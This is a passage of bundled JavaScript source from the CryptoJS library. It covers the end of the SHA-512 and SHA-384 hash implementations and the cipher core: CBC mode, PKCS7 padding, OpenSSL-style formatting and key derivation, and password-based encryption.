= bl;\n\t                bh = ah;\n\t                bl = al;\n\t                al = (t1l + t2l) | 0;\n\t                ah = (t1h + t2h + ((al >>> 0) < (t1l >>> 0) ? 1 : 0)) | 0;\n\t            }\n\n\t            // Intermediate hash value\n\t            H0l = H0.low  = (H0l + al);\n\t            H0.high = (H0h + ah + ((H0l >>> 0) < (al >>> 0) ? 1 : 0));\n\t            H1l = H1.low  = (H1l + bl);\n\t            H1.high = (H1h + bh + ((H1l >>> 0) < (bl >>> 0) ? 1 : 0));\n\t            H2l = H2.low  = (H2l + cl);\n\t            H2.high = (H2h + ch + ((H2l >>> 0) < (cl >>> 0) ? 1 : 0));\n\t            H3l = H3.low  = (H3l + dl);\n\t            H3.high = (H3h + dh + ((H3l >>> 0) < (dl >>> 0) ? 1 : 0));\n\t            H4l = H4.low  = (H4l + el);\n\t            H4.high = (H4h + eh + ((H4l >>> 0) < (el >>> 0) ? 1 : 0));\n\t            H5l = H5.low  = (H5l + fl);\n\t            H5.high = (H5h + fh + ((H5l >>> 0) < (fl >>> 0) ? 1 : 0));\n\t            H6l = H6.low  = (H6l + gl);\n\t            H6.high = (H6h + gh + ((H6l >>> 0) < (gl >>> 0) ? 1 : 0));\n\t            H7l = H7.low  = (H7l + hl);\n\t            H7.high = (H7h + hh + ((H7l >>> 0) < (hl >>> 0) ? 1 : 0));\n\t        },\n\n\t        _doFinalize: function () {\n\t            // Shortcuts\n\t            var data = this._data;\n\t            var dataWords = data.words;\n\n\t            var nBitsTotal = this._nDataBytes * 8;\n\t            var nBitsLeft = data.sigBytes * 8;\n\n\t            // Add padding\n\t            dataWords[nBitsLeft >>> 5] |= 0x80 << (24 - nBitsLeft % 32);\n\t            dataWords[(((nBitsLeft + 128) >>> 10) << 5) + 30] = Math.floor(nBitsTotal / 0x100000000);\n\t            dataWords[(((nBitsLeft + 128) >>> 10) << 5) + 31] = nBitsTotal;\n\t            data.sigBytes = dataWords.length * 4;\n\n\t            // Hash final blocks\n\t            this._process();\n\n\t            // Convert hash to 32-bit word array before returning\n\t            var hash = this._hash.toX32();\n\n\t            // Return final computed hash\n\t            return hash;\n\t        },\n\n\t        clone: function () {\n\t            var clone = Hasher.clone.call(this);\n\t            clone._hash = this._hash.clone();\n\n\t            return clone;\n\t        },\n\n\t        blockSize: 1024/32\n\t    });\n\n\t    /**\n\t     * Shortcut function to the hasher's object interface.\n\t     *\n\t     * @param {WordArray|string} message The message to hash.\n\t     *\n\t     * @return {WordArray} The hash.\n\t     *\n\t     * @static\n\t     *\n\t     * @example\n\t     *\n\t     *     var hash = CryptoJS.SHA512('message');\n\t     *     var hash = CryptoJS.SHA512(wordArray);\n\t     */\n\t    C.SHA512 = Hasher._createHelper(SHA512);\n\n\t    /**\n\t     * Shortcut function to the HMAC's object interface.\n\t     *\n\t     * @param {WordArray|string} message The message to hash.\n\t     * @param {WordArray|string} key The secret key.\n\t     *\n\t     * @return {WordArray} The HMAC.\n\t     *\n\t     * @static\n\t     *\n\t     * @example\n\t     *\n\t     *     var hmac = CryptoJS.HmacSHA512(message, key);\n\t     */\n\t    C.HmacSHA512 = Hasher._createHmacHelper(SHA512);\n\t}());\n\n\n\t(function () {\n\t    // Shortcuts\n\t    var C = CryptoJS;\n\t    var C_x64 = C.x64;\n\t    var X64Word = C_x64.Word;\n\t    var X64WordArray = C_x64.WordArray;\n\t    var C_algo = C.algo;\n\t    var SHA512 = C_algo.SHA512;\n\n\t    /**\n\t     * SHA-384 hash algorithm.\n\t     */\n\t    var SHA384 = C_algo.SHA384 = SHA512.extend({\n\t        _doReset: function () {\n\t            this._hash = new X64WordArray.init([\n\t                new X64Word.init(0xcbbb9d5d, 0xc1059ed8), new X64Word.init(0x629a292a, 0x367cd507),\n\t                new X64Word.init(0x9159015a, 0x3070dd17), new X64Word.init(0x152fecd8, 0xf70e5939),\n\t                new X64Word.init(0x67332667, 0xffc00b31), new X64Word.init(0x8eb44a87, 0x68581511),\n\t                new X64Word.init(0xdb0c2e0d, 0x64f98fa7), new X64Word.init(0x47b5481d, 0xbefa4fa4)\n\t            ]);\n\t        },\n\n\t        _doFinalize: function () {\n\t            var hash = SHA512._doFinalize.call(this);\n\n\t            hash.sigBytes -= 16;\n\n\t            return hash;\n\t        }\n\t    });\n\n\t    /**\n\t     * Shortcut function to the hasher's object interface.\n\t     *\n\t     * @param {WordArray|string} message The message to hash.\n\t     *\n\t     * @return {WordArray} The hash.\n\t     *\n\t     * @static\n\t     *\n\t     * @example\n\t     *\n\t     *     var hash = CryptoJS.SHA384('message');\n\t     *     var hash = CryptoJS.SHA384(wordArray);\n\t     */\n\t    C.SHA384 = SHA512._createHelper(SHA384);\n\n\t    /**\n\t     * Shortcut function to the HMAC's object interface.\n\t     *\n\t     * @param {WordArray|string} message The message to hash.\n\t     * @param {WordArray|string} key The secret key.\n\t     *\n\t     * @return {WordArray} The HMAC.\n\t     *\n\t     * @static\n\t     *\n\t     * @example\n\t     *\n\t     *     var hmac = CryptoJS.HmacSHA384(message, key);\n\t     */\n\t    C.HmacSHA384 = SHA512._createHmacHelper(SHA384);\n\t}());\n\n\n\t/**\n\t * Cipher core components.\n\t */\n\tCryptoJS.lib.Cipher || (function (undefined) {\n\t    // Shortcuts\n\t    var C = CryptoJS;\n\t    var C_lib = C.lib;\n\t    var Base = C_lib.Base;\n\t    var WordArray = C_lib.WordArray;\n\t    var BufferedBlockAlgorithm = C_lib.BufferedBlockAlgorithm;\n\t    var C_enc = C.enc;\n\t    var Utf8 = C_enc.Utf8;\n\t    var Base64 = C_enc.Base64;\n\t    var C_algo = C.algo;\n\t    var EvpKDF = C_algo.EvpKDF;\n\n\t    /**\n\t     * Abstract base cipher template.\n\t     *\n\t     * @property {number} keySize This cipher's key size. Default: 4 (128 bits)\n\t     * @property {number} ivSize This cipher's IV size. Default: 4 (128 bits)\n\t     * @property {number} _ENC_XFORM_MODE A constant representing encryption mode.\n\t     * @property {number} _DEC_XFORM_MODE A constant representing decryption mode.\n\t     */\n\t    var Cipher = C_lib.Cipher = BufferedBlockAlgorithm.extend({\n\t        /**\n\t         * Configuration options.\n\t         *\n\t         * @property {WordArray} iv The IV to use for this operation.\n\t         */\n\t        cfg: Base.extend(),\n\n\t        /**\n\t         * Creates this cipher in encryption mode.\n\t         *\n\t         * @param {WordArray} key The key.\n\t         * @param {Object} cfg (Optional) The configuration options to use for this operation.\n\t         *\n\t         * @return {Cipher} A cipher instance.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var cipher = CryptoJS.algo.AES.createEncryptor(keyWordArray, { iv: ivWordArray });\n\t         */\n\t        createEncryptor: function (key, cfg) {\n\t            return this.create(this._ENC_XFORM_MODE, key, cfg);\n\t        },\n\n\t        /**\n\t         * Creates this cipher in decryption mode.\n\t         *\n\t         * @param {WordArray} key The key.\n\t         * @param {Object} cfg (Optional) The configuration options to use for this operation.\n\t         *\n\t         * @return {Cipher} A cipher instance.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var cipher = CryptoJS.algo.AES.createDecryptor(keyWordArray, { iv: ivWordArray });\n\t         */\n\t        createDecryptor: function (key, cfg) {\n\t            return this.create(this._DEC_XFORM_MODE, key, cfg);\n\t        },\n\n\t        /**\n\t         * Initializes a newly created cipher.\n\t         *\n\t         * @param {number} xformMode Either the encryption or decryption transormation mode constant.\n\t         * @param {WordArray} key The key.\n\t         * @param {Object} cfg (Optional) The configuration options to use for this operation.\n\t         *\n\t         * @example\n\t         *\n\t         *     var cipher = CryptoJS.algo.AES.create(CryptoJS.algo.AES._ENC_XFORM_MODE, keyWordArray, { iv: ivWordArray });\n\t         */\n\t        init: function (xformMode, key, cfg) {\n\t            // Apply config defaults\n\t            this.cfg = this.cfg.extend(cfg);\n\n\t            // Store transform mode and key\n\t            this._xformMode = xformMode;\n\t            this._key = key;\n\n\t            // Set initial values\n\t            this.reset();\n\t        },\n\n\t        /**\n\t         * Resets this cipher to its initial state.\n\t         *\n\t         * @example\n\t         *\n\t         *     cipher.reset();\n\t         */\n\t        reset: function () {\n\t            // Reset data buffer\n\t            BufferedBlockAlgorithm.reset.call(this);\n\n\t            // Perform concrete-cipher logic\n\t            this._doReset();\n\t        },\n\n\t        /**\n\t         * Adds data to be encrypted or decrypted.\n\t         *\n\t         * @param {WordArray|string} dataUpdate The data to encrypt or decrypt.\n\t         *\n\t         * @return {WordArray} The data after processing.\n\t         *\n\t         * @example\n\t         *\n\t         *     var encrypted = cipher.process('data');\n\t         *     var encrypted = cipher.process(wordArray);\n\t         */\n\t        process: function (dataUpdate) {\n\t            // Append\n\t            this._append(dataUpdate);\n\n\t            // Process available blocks\n\t            return this._process();\n\t        },\n\n\t        /**\n\t         * Finalizes the encryption or decryption process.\n\t         * Note that the finalize operation is effectively a destructive, read-once operation.\n\t         *\n\t         * @param {WordArray|string} dataUpdate The final data to encrypt or decrypt.\n\t         *\n\t         * @return {WordArray} The data after final processing.\n\t         *\n\t         * @example\n\t         *\n\t         *     var encrypted = cipher.finalize();\n\t         *     var encrypted = cipher.finalize('data');\n\t         *     var encrypted = cipher.finalize(wordArray);\n\t         */\n\t        finalize: function (dataUpdate) {\n\t            // Final data update\n\t            if (dataUpdate) {\n\t                this._append(dataUpdate);\n\t            }\n\n\t            // Perform concrete-cipher logic\n\t            var finalProcessedData = this._doFinalize();\n\n\t            return finalProcessedData;\n\t        },\n\n\t        keySize: 128/32,\n\n\t        ivSize: 128/32,\n\n\t        _ENC_XFORM_MODE: 1,\n\n\t        _DEC_XFORM_MODE: 2,\n\n\t        /**\n\t         * Creates shortcut functions to a cipher's object interface.\n\t         *\n\t         * @param {Cipher} cipher The cipher to create a helper for.\n\t         *\n\t         * @return {Object} An object with encrypt and decrypt shortcut functions.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var AES = CryptoJS.lib.Cipher._createHelper(CryptoJS.algo.AES);\n\t         */\n\t        _createHelper: (function () {\n\t            function selectCipherStrategy(key) {\n\t                if (typeof key == 'string') {\n\t                    return PasswordBasedCipher;\n\t                } else {\n\t                    return SerializableCipher;\n\t                }\n\t            }\n\n\t            return function (cipher) {\n\t                return {\n\t                    encrypt: function (message, key, cfg) {\n\t                        return selectCipherStrategy(key).encrypt(cipher, message, key, cfg);\n\t                    },\n\n\t                    decrypt: function (ciphertext, key, cfg) {\n\t                        return selectCipherStrategy(key).decrypt(cipher, ciphertext, key, cfg);\n\t                    }\n\t                };\n\t            };\n\t        }())\n\t    });\n\n\t    /**\n\t     * Abstract base stream cipher template.\n\t     *\n\t     * @property {number} blockSize The number of 32-bit words this cipher operates on. Default: 1 (32 bits)\n\t     */\n\t    var StreamCipher = C_lib.StreamCipher = Cipher.extend({\n\t        _doFinalize: function () {\n\t            // Process partial blocks\n\t            var finalProcessedBlocks = this._process(!!'flush');\n\n\t            return finalProcessedBlocks;\n\t        },\n\n\t        blockSize: 1\n\t    });\n\n\t    /**\n\t     * Mode namespace.\n\t     */\n\t    var C_mode = C.mode = {};\n\n\t    /**\n\t     * Abstract base block cipher mode template.\n\t     */\n\t    var BlockCipherMode = C_lib.BlockCipherMode = Base.extend({\n\t        /**\n\t         * Creates this mode for encryption.\n\t         *\n\t         * @param {Cipher} cipher A block cipher instance.\n\t         * @param {Array} iv The IV words.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var mode = CryptoJS.mode.CBC.createEncryptor(cipher, iv.words);\n\t         */\n\t        createEncryptor: function (cipher, iv) {\n\t            return this.Encryptor.create(cipher, iv);\n\t        },\n\n\t        /**\n\t         * Creates this mode for decryption.\n\t         *\n\t         * @param {Cipher} cipher A block cipher instance.\n\t         * @param {Array} iv The IV words.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var mode = CryptoJS.mode.CBC.createDecryptor(cipher, iv.words);\n\t         */\n\t        createDecryptor: function (cipher, iv) {\n\t            return this.Decryptor.create(cipher, iv);\n\t        },\n\n\t        /**\n\t         * Initializes a newly created mode.\n\t         *\n\t         * @param {Cipher} cipher A block cipher instance.\n\t         * @param {Array} iv The IV words.\n\t         *\n\t         * @example\n\t         *\n\t         *     var mode = CryptoJS.mode.CBC.Encryptor.create(cipher, iv.words);\n\t         */\n\t        init: function (cipher, iv) {\n\t            this._cipher = cipher;\n\t            this._iv = iv;\n\t        }\n\t    });\n\n\t    /**\n\t     * Cipher Block Chaining mode.\n\t     */\n\t    var CBC = C_mode.CBC = (function () {\n\t        /**\n\t         * Abstract base CBC mode.\n\t         */\n\t        var CBC = BlockCipherMode.extend();\n\n\t        /**\n\t         * CBC encryptor.\n\t         */\n\t        CBC.Encryptor = CBC.extend({\n\t            /**\n\t             * Processes the data block at offset.\n\t             *\n\t             * @param {Array} words The data words to operate on.\n\t             * @param {number} offset The offset where the block starts.\n\t             *\n\t             * @example\n\t             *\n\t             *     mode.processBlock(data.words, offset);\n\t             */\n\t            processBlock: function (words, offset) {\n\t                // Shortcuts\n\t                var cipher = this._cipher;\n\t                var blockSize = cipher.blockSize;\n\n\t                // XOR and encrypt\n\t                xorBlock.call(this, words, offset, blockSize);\n\t                cipher.encryptBlock(words, offset);\n\n\t                // Remember this block to use with next block\n\t                this._prevBlock = words.slice(offset, offset + blockSize);\n\t            }\n\t        });\n\n\t        /**\n\t         * CBC decryptor.\n\t         */\n\t        CBC.Decryptor = CBC.extend({\n\t            /**\n\t             * Processes the data block at offset.\n\t             *\n\t             * @param {Array} words The data words to operate on.\n\t             * @param {number} offset The offset where the block starts.\n\t             *\n\t             * @example\n\t             *\n\t             *     mode.processBlock(data.words, offset);\n\t             */\n\t            processBlock: function (words, offset) {\n\t                // Shortcuts\n\t                var cipher = this._cipher;\n\t                var blockSize = cipher.blockSize;\n\n\t                // Remember this block to use with next block\n\t                var thisBlock = words.slice(offset, offset + blockSize);\n\n\t                // Decrypt and XOR\n\t                cipher.decryptBlock(words, offset);\n\t                xorBlock.call(this, words, offset, blockSize);\n\n\t                // This block becomes the previous block\n\t                this._prevBlock = thisBlock;\n\t            }\n\t        });\n\n\t        function xorBlock(words, offset, blockSize) {\n\t            // Shortcut\n\t            var iv = this._iv;\n\n\t            // Choose mixing block\n\t            if (iv) {\n\t                var block = iv;\n\n\t                // Remove IV for subsequent blocks\n\t                this._iv = undefined;\n\t            } else {\n\t                var block = this._prevBlock;\n\t            }\n\n\t            // XOR blocks\n\t            for (var i = 0; i < blockSize; i++) {\n\t                words[offset + i] ^= block[i];\n\t            }\n\t        }\n\n\t        return CBC;\n\t    }());\n\n\t    /**\n\t     * Padding namespace.\n\t     */\n\t    var C_pad = C.pad = {};\n\n\t    /**\n\t     * PKCS #5/7 padding strategy.\n\t     */\n\t    var Pkcs7 = C_pad.Pkcs7 = {\n\t        /**\n\t         * Pads data using the algorithm defined in PKCS #5/7.\n\t         *\n\t         * @param {WordArray} data The data to pad.\n\t         * @param {number} blockSize The multiple that the data should be padded to.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     CryptoJS.pad.Pkcs7.pad(wordArray, 4);\n\t         */\n\t        pad: function (data, blockSize) {\n\t            // Shortcut\n\t            var blockSizeBytes = blockSize * 4;\n\n\t            // Count padding bytes\n\t            var nPaddingBytes = blockSizeBytes - data.sigBytes % blockSizeBytes;\n\n\t            // Create padding word\n\t            var paddingWord = (nPaddingBytes << 24) | (nPaddingBytes << 16) | (nPaddingBytes << 8) | nPaddingBytes;\n\n\t            // Create padding\n\t            var paddingWords = [];\n\t            for (var i = 0; i < nPaddingBytes; i += 4) {\n\t                paddingWords.push(paddingWord);\n\t            }\n\t            var padding = WordArray.create(paddingWords, nPaddingBytes);\n\n\t            // Add padding\n\t            data.concat(padding);\n\t        },\n\n\t        /**\n\t         * Unpads data that had been padded using the algorithm defined in PKCS #5/7.\n\t         *\n\t         * @param {WordArray} data The data to unpad.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     CryptoJS.pad.Pkcs7.unpad(wordArray);\n\t         */\n\t        unpad: function (data) {\n\t            // Get number of padding bytes from last byte\n\t            var nPaddingBytes = data.words[(data.sigBytes - 1) >>> 2] & 0xff;\n\n\t            // Remove padding\n\t            data.sigBytes -= nPaddingBytes;\n\t        }\n\t    };\n\n\t    /**\n\t     * Abstract base block cipher template.\n\t     *\n\t     * @property {number} blockSize The number of 32-bit words this cipher operates on. Default: 4 (128 bits)\n\t     */\n\t    var BlockCipher = C_lib.BlockCipher = Cipher.extend({\n\t        /**\n\t         * Configuration options.\n\t         *\n\t         * @property {Mode} mode The block mode to use. Default: CBC\n\t         * @property {Padding} padding The padding strategy to use. Default: Pkcs7\n\t         */\n\t        cfg: Cipher.cfg.extend({\n\t            mode: CBC,\n\t            padding: Pkcs7\n\t        }),\n\n\t        reset: function () {\n\t            // Reset cipher\n\t            Cipher.reset.call(this);\n\n\t            // Shortcuts\n\t            var cfg = this.cfg;\n\t            var iv = cfg.iv;\n\t            var mode = cfg.mode;\n\n\t            // Reset block mode\n\t            if (this._xformMode == this._ENC_XFORM_MODE) {\n\t                var modeCreator = mode.createEncryptor;\n\t            } else /* if (this._xformMode == this._DEC_XFORM_MODE) */ {\n\t                var modeCreator = mode.createDecryptor;\n\t                // Keep at least one block in the buffer for unpadding\n\t                this._minBufferSize = 1;\n\t            }\n\n\t            if (this._mode && this._mode.__creator == modeCreator) {\n\t                this._mode.init(this, iv && iv.words);\n\t            } else {\n\t                this._mode = modeCreator.call(mode, this, iv && iv.words);\n\t                this._mode.__creator = modeCreator;\n\t            }\n\t        },\n\n\t        _doProcessBlock: function (words, offset) {\n\t            this._mode.processBlock(words, offset);\n\t        },\n\n\t        _doFinalize: function () {\n\t            // Shortcut\n\t            var padding = this.cfg.padding;\n\n\t            // Finalize\n\t            if (this._xformMode == this._ENC_XFORM_MODE) {\n\t                // Pad data\n\t                padding.pad(this._data, this.blockSize);\n\n\t                // Process final blocks\n\t                var finalProcessedBlocks = this._process(!!'flush');\n\t            } else /* if (this._xformMode == this._DEC_XFORM_MODE) */ {\n\t                // Process final blocks\n\t                var finalProcessedBlocks = this._process(!!'flush');\n\n\t                // Unpad data\n\t                padding.unpad(finalProcessedBlocks);\n\t            }\n\n\t            return finalProcessedBlocks;\n\t        },\n\n\t        blockSize: 128/32\n\t    });\n\n\t    /**\n\t     * A collection of cipher parameters.\n\t     *\n\t     * @property {WordArray} ciphertext The raw ciphertext.\n\t     * @property {WordArray} key The key to this ciphertext.\n\t     * @property {WordArray} iv The IV used in the ciphering operation.\n\t     * @property {WordArray} salt The salt used with a key derivation function.\n\t     * @property {Cipher} algorithm The cipher algorithm.\n\t     * @property {Mode} mode The block mode used in the ciphering operation.\n\t     * @property {Padding} padding The padding scheme used in the ciphering operation.\n\t     * @property {number} blockSize The block size of the cipher.\n\t     * @property {Format} formatter The default formatting strategy to convert this cipher params object to a string.\n\t     */\n\t    var CipherParams = C_lib.CipherParams = Base.extend({\n\t        /**\n\t         * Initializes a newly created cipher params object.\n\t         *\n\t         * @param {Object} cipherParams An object with any of the possible cipher parameters.\n\t         *\n\t         * @example\n\t         *\n\t         *     var cipherParams = CryptoJS.lib.CipherParams.create({\n\t         *         ciphertext: ciphertextWordArray,\n\t         *         key: keyWordArray,\n\t         *         iv: ivWordArray,\n\t         *         salt: saltWordArray,\n\t         *         algorithm: CryptoJS.algo.AES,\n\t         *         mode: CryptoJS.mode.CBC,\n\t         *         padding: CryptoJS.pad.PKCS7,\n\t         *         blockSize: 4,\n\t         *         formatter: CryptoJS.format.OpenSSL\n\t         *     });\n\t         */\n\t        init: function (cipherParams) {\n\t            this.mixIn(cipherParams);\n\t        },\n\n\t        /**\n\t         * Converts this cipher params object to a string.\n\t         *\n\t         * @param {Format} formatter (Optional) The formatting strategy to use.\n\t         *\n\t         * @return {string} The stringified cipher params.\n\t         *\n\t         * @throws Error If neither the formatter nor the default formatter is set.\n\t         *\n\t         * @example\n\t         *\n\t         *     var string = cipherParams + '';\n\t         *     var string = cipherParams.toString();\n\t         *     var string = cipherParams.toString(CryptoJS.format.OpenSSL);\n\t         */\n\t        toString: function (formatter) {\n\t            return (formatter || this.formatter).stringify(this);\n\t        }\n\t    });\n\n\t    /**\n\t     * Format namespace.\n\t     */\n\t    var C_format = C.format = {};\n\n\t    /**\n\t     * OpenSSL formatting strategy.\n\t     */\n\t    var OpenSSLFormatter = C_format.OpenSSL = {\n\t        /**\n\t         * Converts a cipher params object to an OpenSSL-compatible string.\n\t         *\n\t         * @param {CipherParams} cipherParams The cipher params object.\n\t         *\n\t         * @return {string} The OpenSSL-compatible string.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var openSSLString = CryptoJS.format.OpenSSL.stringify(cipherParams);\n\t         */\n\t        stringify: function (cipherParams) {\n\t            // Shortcuts\n\t            var ciphertext = cipherParams.ciphertext;\n\t            var salt = cipherParams.salt;\n\n\t            // Format\n\t            if (salt) {\n\t                var wordArray = WordArray.create([0x53616c74, 0x65645f5f]).concat(salt).concat(ciphertext);\n\t            } else {\n\t                var wordArray = ciphertext;\n\t            }\n\n\t            return wordArray.toString(Base64);\n\t        },\n\n\t        /**\n\t         * Converts an OpenSSL-compatible string to a cipher params object.\n\t         *\n\t         * @param {string} openSSLStr The OpenSSL-compatible string.\n\t         *\n\t         * @return {CipherParams} The cipher params object.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var cipherParams = CryptoJS.format.OpenSSL.parse(openSSLString);\n\t         */\n\t        parse: function (openSSLStr) {\n\t            // Parse base64\n\t            var ciphertext = Base64.parse(openSSLStr);\n\n\t            // Shortcut\n\t            var ciphertextWords = ciphertext.words;\n\n\t            // Test for salt\n\t            if (ciphertextWords[0] == 0x53616c74 && ciphertextWords[1] == 0x65645f5f) {\n\t                // Extract salt\n\t                var salt = WordArray.create(ciphertextWords.slice(2, 4));\n\n\t                // Remove salt from ciphertext\n\t                ciphertextWords.splice(0, 4);\n\t                ciphertext.sigBytes -= 16;\n\t            }\n\n\t            return CipherParams.create({ ciphertext: ciphertext, salt: salt });\n\t        }\n\t    };\n\n\t    /**\n\t     * A cipher wrapper that returns ciphertext as a serializable cipher params object.\n\t     */\n\t    var SerializableCipher = C_lib.SerializableCipher = Base.extend({\n\t        /**\n\t         * Configuration options.\n\t         *\n\t         * @property {Formatter} format The formatting strategy to convert cipher param objects to and from a string. Default: OpenSSL\n\t         */\n\t        cfg: Base.extend({\n\t            format: OpenSSLFormatter\n\t        }),\n\n\t        /**\n\t         * Encrypts a message.\n\t         *\n\t         * @param {Cipher} cipher The cipher algorithm to use.\n\t         * @param {WordArray|string} message The message to encrypt.\n\t         * @param {WordArray} key The key.\n\t         * @param {Object} cfg (Optional) The configuration options to use for this operation.\n\t         *\n\t         * @return {CipherParams} A cipher params object.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var ciphertextParams = CryptoJS.lib.SerializableCipher.encrypt(CryptoJS.algo.AES, message, key);\n\t         *     var ciphertextParams = CryptoJS.lib.SerializableCipher.encrypt(CryptoJS.algo.AES, message, key, { iv: iv });\n\t         *     var ciphertextParams = CryptoJS.lib.SerializableCipher.encrypt(CryptoJS.algo.AES, message, key, { iv: iv, format: CryptoJS.format.OpenSSL });\n\t         */\n\t        encrypt: function (cipher, message, key, cfg) {\n\t            // Apply config defaults\n\t            cfg = this.cfg.extend(cfg);\n\n\t            // Encrypt\n\t            var encryptor = cipher.createEncryptor(key, cfg);\n\t            var ciphertext = encryptor.finalize(message);\n\n\t            // Shortcut\n\t            var cipherCfg = encryptor.cfg;\n\n\t            // Create and return serializable cipher params\n\t            return CipherParams.create({\n\t                ciphertext: ciphertext,\n\t                key: key,\n\t                iv: cipherCfg.iv,\n\t                algorithm: cipher,\n\t                mode: cipherCfg.mode,\n\t                padding: cipherCfg.padding,\n\t                blockSize: cipher.blockSize,\n\t                formatter: cfg.format\n\t            });\n\t        },\n\n\t        /**\n\t         * Decrypts serialized ciphertext.\n\t         *\n\t         * @param {Cipher} cipher The cipher algorithm to use.\n\t         * @param {CipherParams|string} ciphertext The ciphertext to decrypt.\n\t         * @param {WordArray} key The key.\n\t         * @param {Object} cfg (Optional) The configuration options to use for this operation.\n\t         *\n\t         * @return {WordArray} The plaintext.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var plaintext = CryptoJS.lib.SerializableCipher.decrypt(CryptoJS.algo.AES, formattedCiphertext, key, { iv: iv, format: CryptoJS.format.OpenSSL });\n\t         *     var plaintext = CryptoJS.lib.SerializableCipher.decrypt(CryptoJS.algo.AES, ciphertextParams, key, { iv: iv, format: CryptoJS.format.OpenSSL });\n\t         */\n\t        decrypt: function (cipher, ciphertext, key, cfg) {\n\t            // Apply config defaults\n\t            cfg = this.cfg.extend(cfg);\n\n\t            // Convert string to CipherParams\n\t            ciphertext = this._parse(ciphertext, cfg.format);\n\n\t            // Decrypt\n\t            var plaintext = cipher.createDecryptor(key, cfg).finalize(ciphertext.ciphertext);\n\n\t            return plaintext;\n\t        },\n\n\t        /**\n\t         * Converts serialized ciphertext to CipherParams,\n\t         * else assumed CipherParams already and returns ciphertext unchanged.\n\t         *\n\t         * @param {CipherParams|string} ciphertext The ciphertext.\n\t         * @param {Formatter} format The formatting strategy to use to parse serialized ciphertext.\n\t         *\n\t         * @return {CipherParams} The unserialized ciphertext.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var ciphertextParams = CryptoJS.lib.SerializableCipher._parse(ciphertextStringOrParams, format);\n\t         */\n\t        _parse: function (ciphertext, format) {\n\t            if (typeof ciphertext == 'string') {\n\t                return format.parse(ciphertext, this);\n\t            } else {\n\t                return ciphertext;\n\t            }\n\t        }\n\t    });\n\n\t    /**\n\t     * Key derivation function namespace.\n\t     */\n\t    var C_kdf = C.kdf = {};\n\n\t    /**\n\t     * OpenSSL key derivation function.\n\t     */\n\t    var OpenSSLKdf = C_kdf.OpenSSL = {\n\t        /**\n\t         * Derives a key and IV from a password.\n\t         *\n\t         * @param {string} password The password to derive from.\n\t         * @param {number} keySize The size in words of the key to generate.\n\t         * @param {number} ivSize The size in words of the IV to generate.\n\t         * @param {WordArray|string} salt (Optional) A 64-bit salt to use. If omitted, a salt will be generated randomly.\n\t         *\n\t         * @return {CipherParams} A cipher params object with the key, IV, and salt.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var derivedParams = CryptoJS.kdf.OpenSSL.execute('Password', 256/32, 128/32);\n\t         *     var derivedParams = CryptoJS.kdf.OpenSSL.execute('Password', 256/32, 128/32, 'saltsalt');\n\t         */\n\t        execute: function (password, keySize, ivSize, salt) {\n\t            // Generate random salt\n\t            if (!salt) {\n\t                salt = WordArray.random(64/8);\n\t            }\n\n\t            // Derive key and IV\n\t            var key = EvpKDF.create({ keySize: keySize + ivSize }).compute(password, salt);\n\n\t            // Separate key and IV\n\t            var iv = WordArray.create(key.words.slice(keySize), ivSize * 4);\n\t            key.sigBytes = keySize * 4;\n\n\t            // Return params\n\t            return CipherParams.create({ key: key, iv: iv, salt: salt });\n\t        }\n\t    };\n\n\t    /**\n\t     * A serializable cipher wrapper that derives the key from a password,\n\t     * and returns ciphertext as a serializable cipher params object.\n\t     */\n\t    var PasswordBasedCipher = C_lib.PasswordBasedCipher = SerializableCipher.extend({\n\t        /**\n\t         * Configuration options.\n\t         *\n\t         * @property {KDF} kdf The key derivation function to use to generate a key and IV from a password. Default: OpenSSL\n\t         */\n\t        cfg: SerializableCipher.cfg.extend({\n\t            kdf: OpenSSLKdf\n\t        }),\n\n\t        /**\n\t         * Encrypts a message using a password.\n\t         *\n\t         * @param {Cipher} cipher The cipher algorithm to use.\n\t         * @param {WordArray|string} message The message to encrypt.\n\t         * @param {string} password The password.\n\t         * @param {Object} cfg (Optional) The configuration options to use for this operation.\n\t         *\n\t         * @return {CipherParams} A cipher params object.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var ciphertextParams = CryptoJS.lib.PasswordBasedCipher.encrypt(CryptoJS.algo.AES, message, 'password');\n\t         *     var ciphertextParams = CryptoJS.lib.PasswordBasedCipher.encrypt(CryptoJS.algo.AES, message, 'password', { format: CryptoJS.format.OpenSSL });\n\t         */\n\t        encrypt: function (cipher, message, password, cfg) {\n\t            // Apply config defaults\n\t            cfg = this.cfg.extend(cfg);\n\n\t            // Derive key and other params\n\t            var derivedParams = cfg.kdf.execute(password, cipher.keySize, cipher.ivSize);\n\n\t            // Add IV to config\n\t            cfg.iv = derivedParams.iv;\n\n\t            // Encrypt\n\t            var ciphertext = SerializableCipher.encrypt.call(this, cipher, message, derivedParams.key, cfg);\n\n\t            // Mix in derived params\n\t            ciphertext.mixIn(derivedParams);\n\n\t            return ciphertext;\n\t        },\n\n\t        /**\n\t         * Decrypts serialized ciphertext using a password.\n\t         *\n\t         * @param {Cipher} cipher The cipher algorithm to use.\n\t         * @param {CipherParams|string} ciphertext The ciphertext to decrypt.\n\t         * @param {string} password The password.\n\t         * @param {Object} cfg (Optional) The configuration options to use for this operation.\n\t         *\n\t         * @return {WordArray} The plaintext.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var plaintext = CryptoJS.lib.PasswordBasedCipher.decrypt(CryptoJS.algo.AES, formattedCiphertext, 'password', { format: CryptoJS.format.OpenSSL });\n\t         *     var plaintext = CryptoJS.lib.PasswordBasedCipher.decrypt(CryptoJS.algo.AES, ciphertextParams, 'password', { format: CryptoJS.format.OpenSSL });\n\t         */\n\t        decrypt: function (cipher, ciphertext, password, cfg) 